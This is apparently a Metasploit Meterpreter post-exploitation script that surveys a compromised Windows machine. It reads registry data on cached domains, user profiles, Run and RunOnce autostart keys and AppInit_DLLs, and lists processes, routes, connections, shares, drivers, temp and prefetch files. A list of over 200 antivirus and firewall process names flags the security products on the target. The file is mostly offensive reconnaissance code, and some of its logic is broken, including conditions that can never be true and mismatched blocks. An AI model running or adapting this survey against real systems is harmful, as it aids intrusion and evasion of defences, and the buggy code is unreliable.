winenum.rb

# $Id$
# $Revision$
# -*- coding: binary -*-
require 'fileutils'
@client      = client
host,port = @client.session_host, @client.session_port
key          = nil
path         = nil
open_key     = false
name         = nil
type         = nil
data         = nil
process_list = nil
psp          = false

begin
def key2str(skey)
	if (skey == 'HKLM' or skey == 'HKEY_LOCAL_MACHINE')
		return HKEY_LOCAL_MACHINE
	elsif (skey == 'HKCU' or skey == 'HKEY_CURRENT_USER')
		return HKEY_CURRENT_USER
	elsif (skey == 'HKU' or skey == 'HKEY_USERS')
		return HKEY_USERS
	else
		raise ArgumentError, "Unknown key: #{skey}"
	end
end
#
# Returns the integer value associated with the supplied registry value
# type (like REG_SZ).
#
def type2str(type)
	return REG_SZ if (type == 'REG_SZ')
	return REG_DWORD if (type == 'REG_DWORD')
	return REG_BINARY if (type == 'REG_BINARY')
	return REG_EXPAND_SZ if (type == 'REG_EXPAND_SZ')
	return REG_NONE if (type == 'REG_NONE')
	return nil
end

def splitskey(str)
	if (str =~ /^(.+?)\\(.*)$/)
		[ key2str($1), $2 ]
	else
		[ key2str(str), nil ]
	end
end

def unsupported
	print_error("This version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end

logs = ::File.join(Msf::Config.log_directory, 'scripts','winsurvey', host + "_" + Time.now.strftime("%Y%m%d.%H%M"))
::FileUtils.mkdir_p(logs)

begin
print_status("just say n3rve5 :}")
print_line("%bld %und %blk \n\t===========Start of survey============\n")

	print_status("%bld %blk Current Local Time: " + Time.now.strftime(" Date: %Y%m%d Time: %H:%M\n"))
	
	print_status("%bld %blk Running Survey on IP: #{host}\n")
	
	unsupported if client.platform !~ /win32|win64/i

	tmp = client.fs.file.expand_path("%TEMP%")

	begin
		print_line
		key = ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation")
		value = ("StandardName")
		time_zone = Rex::Ui::Text::Table.new(
			'Header'  => "%bld %dmag Target Time Zone Info:\n",
			'Indent'  => 4,
			'Columns' =>
				[
					"Current Time Zone Config",
				])
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		#::File.open(File.join(logs, "Time_Zone.txt"), "w") do |fd|
			#fd.puts(time_zone.to_s)					
				if (key == nil)
					v = open_key.query_value(value)
					time_zone << [v.data]
					print_status(time_zone.to_s)
			end
		#end
				else
					print_status("%bld %dred \n\tDid not find any Info on Targets Time Zone...")
	end

	begin
		print_line
		info = @client.sys.config.sysinfo
		sys_info = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target System Information:\n",
		'Indent'  => 4,
		'Columns' =>
			[
				"Name",
				"System Details"
			])

			if (info != nil)
				info.each { |sys| sys_info << sys }
				print_status(sys_info.to_s)
			else
				print_status("%bld %dred \n\tNo System Info Found...\n")
			end
		end
	end

	begin
		print_line
		key = ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update\\Results\\Detect")
		root_key, base_key = @client.sys.registry.splitkey(key)
		win_update = Rex::Ui::Text::Table.new(
			'Header'  => "%bld %dmag Target Windows Update Info:\n",
			'Indent'  => 4,
			'Columns' =>
				[
					"Last Windows Update",
				])
		
			if (key == true)
				open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
				value = ("LastSuccessTime")
				v = open_key.query_value(value)
				win_update << [v.data]
				print_status(win_update.to_s)			else
				print_status("%bld %dred \n\tDid not find any Info on Last Windows Update...\n")
		end
		
	end


	begin
		print_line
		key = ("HKLM\\HARDWARE\\Description\\System")
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		bios = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target BIOS Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"BIOS Architecture"
		        ])

		value = %w{Identifier
			   SystemBiosVersion
			   SystemBiosDate}
		
			value.each { |val|
			             v = open_key.query_value(val)
					  bios << [v.name, v.data] }
				      
				if (bios != nil)
				  
					print_status(bios.to_s)
				else
					print_status("%bld %dred \n\tDid not find any Info on BIOS Arch...\n")
		end

	end

	begin
		print_line
		key = ("HKLM\\Hardware\\Description\\System\\CentralProcessor")
		skey = %w{}
		value = %w{Identifier
			   ProcessorNameString}
		cpu = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target CPU Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"CPU Architecture"
		        ])

		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		keys = open_key.enum_key
		keys.each { |subkey| skey = key + "\\" + "#{subkey}\n" }

			if (skey.length >= 1)
				value.each { |val|
				            root_skey, base_skey = splitskey(skey)
					    open_skey = @client.sys.registry.open_key(root_skey,base_skey,KEY_READ)
					    v = open_skey.query_value(val)
					    cpu << [v.name, v.data] }
				print_status(cpu.to_s)
			else
				print_status("%bld %dred \n\tNo CPU Info found...Smoochie Boochies...hehe!!!!!!!!\n")
		end
	end

	begin
		print_line
		key = ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment")
		root_key, base_key = @client.sys.registry.splitkey(key)
	        open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		vals = open_key.enum_value
		env = Rex::Ui::Text::Table.new(
			'Header'  => "%bld %dmag Global Enviroment Variables:\n",
			'Indent'  => 4,
			'Columns' =>
				[
					"Value",
					"Path"
				])
		
			if (vals.length >= 1)
				vals.each { |v| env << [v.name, @client.fs.file.expand_path("\%#{v.name}\%")] }
				print_status(env.to_s)
			else
				print_status("%bld %dred \n\t Did not find any Info on the Global Environment Variables...")
		end
	end

	begin
		print_line
		key = ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\hivelist")
		value = %w{}
		hive = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Account Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Target Hive List",
				"System Path"
		        ])

		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		vals = open_key.enum_value
		
			if (vals.length >= 1)
				vals.each { |val| value = "#{val.name}"
				v = open_key.query_value(value)
		                hive << [v.name, v.data] }
				print_status(hive.to_s)
			else
				print_status("%bld %dred \n\tDid not find any info about users in the hivelist...!!!")
		end
	end

	begin
		print_line
		key = ("HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")
		skey = ""
		path = ("ProfileImagePath")
		profiles = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Profile Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"User Profiles"
		        ])

		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		keys = open_key.enum_key
			if (keys.length >= 1)
				keys.each { |subkey| skey = key + "\\" + "#{subkey}\n"
				root_skey, base_skey = splitskey(skey)
				open_skey = @client.sys.registry.open_key(root_skey,base_skey,KEY_READ)
				v = open_skey.query_value(path)
				profiles << [v.data] }
				print_status(profiles.to_s)
			else
				print_status("%red \n\tNo User Profiles Detected...\n")
		end
	end

	begin
	print_line
	processes = @client.sys.process.get_processes
	process_list = processes.to_table('Header' => "%bld %dmag Target Process Info:\n", 'Indent' => 4)
	find_psp = @client.sys.process.get_processes

	avs = %w{
		a2adguard.exe
		a2adwizard.exe
		a2antidialer.exe
		a2cfg.exe
		a2cmd.exe
		a2free.exe
		a2guard.exe
		a2hijackfree.exe
		a2scan.exe
		a2service.exe
		a2start.exe
		a2sys.exe
		a2upd.exe
		aavgapi.exe
		aawservice.exe
		aawtray.exe
		ad-aware.exe
		ad-watch.exe
		alescan.exe
		anvir.exe
		ashdisp.exe
		ashmaisv.exe
		ashserv.exe
		ashwebsv.exe
		aswupdsv.exe
		atrack.exe
		avastsvc.exe
		avgagent.exe
		avgamsvr.exe
		avgcc.exe
		avgctrl.exe
		avgemc.exe
		avgnt.exe
		avgtcpsv.exe
		avguard.exe
		avgupsvc.exe
		avgw.exe
		avkbar.exe
		avk.exe
		avkpop.exe
		avkproxy.exe
		avkservice.exe
		avktray
		avktray.exe
		avkwctl
		avkwctl.exe
		avmailc.exe
		avp.exe
		avpm.exe
		avpmwrap.exe
		avsched32.exe
		avwebgrd.exe
		avwin.exe
		avwupsrv.exe
		avz.exe
		bdagent.exe
		bdmcon.exe
		bdnagent.exe
		bdss.exe
		bdswitch.exe
		blackd.exe
		blackice.exe
		blink.exe
		boc412.exe
		boc425.exe
		bocore.exe
		bootwarn.exe
		cavrid.exe
		cavtray.exe
		ccapp.exe
		ccevtmgr.exe
		ccimscan.exe
		ccproxy.exe
		ccpwdsvc.exe
		ccpxysvc.exe
		ccsetmgr.exe
		cfgwiz.exe
		cfp.exe
		clamd.exe
		clamservice.exe
		clamtray.exe
		cmdagent.exe
		cpd.exe
		cpf.exe
		csinsmnt.exe
		dcsuserprot.exe
		defensewall.exe
		defensewall_serv.exe
		defwatch.exe
		f-agnt95.exe
		fpavupdm.exe
		f-prot95.exe
		f-prot.exe
		fprot.exe
		fsaua.exe
		fsav32.exe
		f-sched.exe
		fsdfwd.exe
		fsm32.exe
		fsma32.exe
		fssm32.exe
		f-stopw.exe
		f-stopw.exe
		fwservice.exe
		fwsrv.exe
		iamstats.exe
		iao.exe
		icload95.exe
		icmon.exe
		idsinst.exe
		idslu.exe
		inetupd.exe
		irsetup.exe
		isafe.exe
		isignup.exe
		issvc.exe
		kav.exe
		kavss.exe
		kavsvc.exe
		klswd.exe
		kpf4gui.exe
		kpf4ss.exe
		livesrv.exe
		lpfw.exe
		mcagent.exe
		mcdetect.exe
		mcmnhdlr.exe
		mcrdsvc.exe
		mcshield.exe
		mctskshd.exe
		mcvsshld.exe
		mghtml.exe
		mpftray.exe
		msascui.exe
		mscifapp.exe
		msfwsvc.exe
		msgsys.exe
		msmpeng.exe
		msseces.exe
		msssrv.exe
		navapsvc.exe
		navapw32.exe
		navlogon.dll
		navstub.exe
		navw32.exe
		nisemsvr.exe
		nisum.exe
		nmain.exe
		noads.exe
		nod32krn.exe
		nod32kui.exe
		nod32ra.exe
		npfmntor.exe
		nprotect.exe
		nsmdtr.exe
		oasclnt.exe
		ofcdog.exe
		opscan.exe
		ossec-agent.exe	
		outpost.exe
		paamsrv.exe
		pavfnsvr.exe
		pcclient.exe
		pccpfw.exe
		pccwin98.exe
		persfw.exe
		protector.exe
		qconsole.exe
		qdcsfs.exe
		rav.exe
		RavMon.exe
		RavTask.exe
		rtvscan.exe
		sadblock.exe
		safe.exe
		sandboxieserver.exe
		savscan.exe
		sbamsvc.exe
		sbamtray.exe
		sbiectrl.exe
		sbiesvc.exe
		sbserv.exe
		scfservice.exe
		sched.exe
		schedm.exe
		scheduler daemon.exe
		sdhelp.exe
		serv95.exe
		sgbhp.exe
		sgmain.exe
		slee503.exe
		smartfix.exe
		smc.exe
		snoopfreesvc.exe
		snoopfreeui.exe
		spbbcsvc.exe
		sp_rsser.exe
		spyblocker.exe
		spybotsd.exe
		spysweeper.exe
		spysweeperui.exe
		spywareguard.dll
		spywareterminatorshield.exe
		ssu.exe
		steganos5.exe
		stinger.exe
		swdoctor.exe
		swupdate.exe
		symlcsvc.exe
		symundo.exe
		symwsc.exe
		symwscno.exe
		tcguard.exe
		tds2-98.exe
		tds-3.exe
		teatimer.exe
		tgbbob.exe
		tgbstarter.exe
		tsatudt.exe
		umxagent.exe
		umxcfg.exe
		umxfwhlp.exe
		umxlu.exe
		umxpol.exe
		umxtray.exe
		usrprmpt.exe
		vetmsg9x.exe
		vetmsg.exe
		vptray.exe
		vsaccess.exe
		vsserv.exe
		wcantispy.exe
		win-bugsfix.exe
		winpatrol.exe
		winpatrolex.exe
		wrsssdk.exe
		xcommsvr.exe
		xfr.exe
		xp-antispy.exe
		zegarynka.exe
		zlclient.exe 
	}
		
		print_line
				if (process_list.rows.length >= 1)
					print_status(process_list.to_s)
				else
					print_status("%bld %dred /n/tWhy do we have no PS'ssssss?????...HMMMMM!!!!...143--->who remembers the pager txt msg...LOL")
				end

		psp = Rex::Ui::Text::Table.new(
			'Header'  => "%bld %dred Target PSPs Identified...Smoochie Boochies!!!!!!:\n",
			'Indent'  => 4,
			'Columns' =>
				[
					"Name",
					"Path"
				])
		
		print_line
			find_psp.each { |x| if (avs.index(x['name'].downcase))
				      psp << [x['name'], x['path']]
			              #process_list << [x['%red name']]
			              end }
				if (psp.rows.length >= 1)

					print_status(psp.to_s)
				
				else
					print_status("%bld %dgrn \n\tNo AV detected by scan...\n")
				end
	end

	begin
		print_line
		key = ("HKLM\\Software\\Microsoft\\ADs\\Providers\\LDAP")
		ad_s =%w{}
		ad = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Associated Active Directory Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Current Listing of AD Info"
		        ])

		
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		keys = open_key.enum_key
		
			if (keys.length >= 1)
				keys.each { |subkey| ad_s = subkey
					#ad_s.delete("Extensions")
					ad << [ad_s] }
				print_status(ad.to_s)
			else
				print_status("%bld %dblu \n\tNo Associated Active Directories found...\n")
		end
	end

	begin
		print_line
		key = ("HKLM\\software\\microsoft\\windows nt\\currentversion\\Winlogon\\DomainCache")
		value = ""
		domains = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Associated Domains:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"Domain"
		        ])
		root_key, base_key = @client.sys.registry.splitkey(key)
		
			if (key == nil)
				open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
				vals = open_key.enum_value
				vals.each { |val| value = "#{val.name}"
				v = open_key.query_value(value)
		                domains << [v.name, v.data] }
				print_status(domains.to_s)
			else
				print_status("%bld %dblu \n\tDid not find any related Domains...")
			end

	end

	begin
		print_line
		routes = @client.net.config.routes
		r_table = Rex::Ui::Text::Table.new(
			'Header'  => "%bld %dmag Target Routing Table\n",
			'Indent'  => 4,
			'Columns' =>
				[
					"Subnet",
					"Netmask",
					"Gateway",
					"Metric",
					"Interface"
				])
			if (routes.length >= 1)
				routes.each { |route|
				r_table << [ route.subnet, route.netmask, route.gateway, route.metric, route.interface ] }
				print_status(r_table.to_s)
			else
				print_status("%bld %dred \n\tDid not find any Routing Info...\n")
		end
	end

	begin
		print_line
		netstat = @client.net.config.netstat
		net = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Netstat\n",
		'Indent'  => 4,
		'Columns' =>
			[
				"Proto",
				"Local address",
				"Remote address",
				"State",
				"User",
				"Inode",
				"PID/Program name"
			])
			
			netstat.each { |connection|
				net << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str,
					connection.state, connection.uid, connection.inode, connection.pid_name] }
			
				if (netstat != nil)
					print_status(net.to_s)
				else
					print_status("%bld %dred \n\tNo network connections found...Leave this Box NOW!!!!!!!!!!!!!!!!!\n")
		end
	end

	begin
		print_line
		key = ("HKCU\\Network")
		skey = ""
		path = ("RemotePath")
		shr_drvs = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Shares Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Share Drives"
		        ])

		root_key, base_key = @client.sys.registry.splitkey(key)
			if (key == nil)
				open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
				keys = open_key.enum_key
				keys.each { |subkey| skey = key + "\\" + "#{subkey}\n"
				root_skey, base_skey = splitskey(skey)
				open_skey = @client.sys.registry.open_key(root_skey,base_skey,KEY_READ)
				v = open_skey.query_value(path)
				shr_drvs << [v.data] }
				print_status(shr_drvs.to_s)
			else
				print_status("%bld %dblu \n\tNo Share Drives Detected...\n")
		end
	end

	begin
		
		print_line
		key = ("HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards")
		skey = ""
		path = ("Description")
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		nic = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Network Cards Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Network Cards Details"
		        ])
		
		keys = open_key.enum_key
			if (keys.length >= 1)
				keys.each { |subkey| skey << key + "\\" + "#{subkey}\n"
				root_skey, base_skey = splitskey(skey)
				open_skey = @client.sys.registry.open_key(root_skey,base_skey,KEY_READ)
				v = open_skey.query_value(path)
				nic << [v.data] }
				print_status(nic.to_s)
			else
				print_line("%bld %red \n\tNo Network Cards Detected...\n")
		end
	end

	begin
                print_line
                drivers = @client.fs.file.expand_path(("%SYSTEMROOT%")+"\\System32\\drivers\\")
                cd = @client.fs.dir.chdir(drivers)
                path = @client.fs.dir.getwd
                stat = @client.fs.file.stat(path)
                drvs = @client.fs.dir.entries_with_info(path)
                drv = Rex::Ui::Text::Table.new(
                               	'Header'  => "%bld %dmag Target Drivers Info:\n",
                		'Indent'  => 4,
		                'SortIndex' => 1,
                		'Columns' =>
                        [
                                "FileName",
								"MTime",
								"CTime"
                        ])
                #print_status("%bld %dmag Listing Drivers:\n")


                drvs.each { |x| drv << [x['FileName'], x['StatBuf'].mtime, x['StatBuf'].ctime] }

                if stat.directory?
                        print_line(drv.to_s)
                else
                        print_status("%bld %red \n\tNo drivers found on the system...\n")
                end

        end

#	begin
#	::File.open(File.join(logs, "firewall.txt"), "w") do |fd|
#		fd.puts(m_exec(client, "netsh firewall show opmode"))
#		print_status(m_exec(client, "netsh firewall show opmode"))

	begin
		print_line
		key = ("HKLM\\software\\microsoft\\windows nt\\currentversion\\windows")
		value = ("AppInit_DLLs")
		root_key, base_key = @client.sys.registry.splitkey(key)
	        open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		app_init = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target AppInit Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"AppInit_DLLs"
		        ])
		v = open_key.query_value(value)
		data = v.data
		
			if (data.length >= 1)
				app_init << [data]
				print_status(app_init.to_s)
			else
				print_status("%dgrn \n\tDid not find anything in AppInit_DLLs...")
		end
	end

	begin
		print_line
		key = ("HKLM\\software\\microsoft\\windows\\currentversion\\run")
		value = ""
		run_key = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Run Key Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"Path"
		        ])
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		vals = open_key.enum_value
		
			if (vals.length >= 1)
				vals.each { |val| value = "#{val.name}"
				v = open_key.query_value(value)
		                run_key << [v.name, v.data] }
				print_status(run_key.to_s)
			else
				print_status("%bld %dgrn \n\tDid not find anything in the Run Key...")
		end

	end

	begin
		print_line
		key = ("HKLM\\software\\microsoft\\windows\\currentversion\\runonce")
		value = ""
		run_once = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target Run Once Key Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"Path"
		        ])		
		root_key, base_key = client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		vals = open_key.enum_value
		
			if (vals.length >= 1)
				vals.each { |val| value = "#{val.name}"
				v = open_key.query_value(value)
		                run_once << [v.name, v.data] }
				print_status(run_once.to_s)
			else
				print_status("%bld %dgrn \n\tDid not find anything in the Run Once Key...\n\n")
		end
	rescue

	end
	begin
		print_line
		key = ("HKCU\\software\\microsoft\\windows\\currentversion\\run")
		value = ""
		run_key = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Target User Run Key Info:\n",
		'Indent'  => 4,
		'Columns' => 
			[
				"Name",
				"Path",
				"Modified",
				"Created"
		        ])
		root_key, base_key = @client.sys.registry.splitkey(key)
		open_key = @client.sys.registry.open_key(root_key,base_key,KEY_READ)
		vals = open_key.enum_value
		
			if (vals.length >= 1)
				vals.each { |val| value = "#{val.name}"
				v = open_key.query_value(value)
				path2 = v.data.gsub /\\/, '\\\\\\'
				path3 = path2.gsub /"/, ''
				path4 = path3.gsub /(.+\..{3}) .*/, '\1'
				 #print_status("path is #{path4}")
				 stat1 = @client.fs.filestat.new(path4)
				 #print_status("m: #{stat1.mtime}")
		        run_key << [v.name, v.data, stat1.mtime, stat1.ctime] }
				
				print_status(run_key.to_s)
			else
				print_status("%bld %dgrn \n\tDid not find anything in the Run Key...")
		end

	end
	
	begin
        print_line
        tempfiles = @client.fs.file.expand_path("%TEMP%\\")
        cd = @client.fs.dir.chdir(tempfiles)
        path = @client.fs.dir.getwd
        stat = @client.fs.file.stat(path)
		tmps = @client.fs.dir.entries_with_info(path)
		tmp = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Temp Info:\n",
		'Indent'  => 4,
        'SortIndex' => 1,
		'Columns' => 
			[
				"FileName",
                "MTime",
                "CTime"
		        ])
        print_status("%bld %dmag Listing Temp files:\n")

		tmps.each { |x| tmp << [x['FileName'], x['StatBuf'].mtime, x['StatBuf'].ctime] }

		if stat.directory?
			print_line(tmp.to_s)
		else
			print_status("%bld %red \n\tNo temp files found on the system...\n")
		end
	end
	
	begin
        print_line
        prefetch = @client.fs.file.expand_path(("%SYSTEMROOT%")+"\\Prefetch\\")
        cd = @client.fs.dir.chdir(prefetch)
        path = @client.fs.dir.getwd
        stat = @client.fs.file.stat(path)
		drvs = @client.fs.dir.entries_with_info(path)
		drv = Rex::Ui::Text::Table.new(
		'Header'  => "%bld %dmag Prefetch Info:\n",
		'Indent'  => 4,
        'SortIndex' => 1,
		'Columns' => 
			[
				"FileName",
                "MTime",
                "CTime"
		        ])
        print_status("%bld %dmag Listing Prefetch files:\n")

		drvs.each { |x| drv << [x['FileName'], x['StatBuf'].mtime, x['StatBuf'].ctime] }

		if stat.directory?
			print_line(drv.to_s)
		
		else
			print_status("%bld %red \n\tNo prefetch files found on the system...check to see if prefetch is enabled\n")
		end
	end

	print_status("%bld %blk Current Local Time: " + Time.now.strftime(" Date: %Y%m%d Time: %H:%M\n"))
	print_line("%bld %und %blk \n\t===========End of Survey============\n\n")
	print_line("%clr")
=begin
=end
rescue ::Exception => e
	print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end